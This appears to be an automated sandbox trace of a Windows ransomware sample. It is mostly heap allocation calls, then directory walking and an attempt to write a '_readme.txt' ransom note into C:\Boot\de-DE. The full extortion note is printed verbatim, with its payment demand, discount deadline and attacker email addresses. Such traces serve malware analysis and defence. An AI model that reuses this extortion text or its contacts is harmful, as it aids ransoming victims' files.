0x7a35e20 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.423] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.423] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.424] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.424] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.425] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.425] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.425] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.425] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.425] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.425] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.425] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.425] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.425] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.425] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.425] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.425] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.425] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.425] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.425] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.425] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.426] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.426] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.427] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.427] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.428] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.428] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.428] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.428] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.428] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.428] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.428] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.428] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.428] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.428] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.428] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.428] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.428] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.428] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.428] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.428] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.428] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0111.428] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.428] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.428] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.428] PathFindFileNameW (pszPath="") returned="" [0111.428] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.428] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.429] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.429] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.429] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.429] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.429] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.429] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.429] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0111.429] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.429] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.429] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0111.430] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.430] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.430] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.430] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.430] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.430] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.430] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.430] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.430] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.431] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, 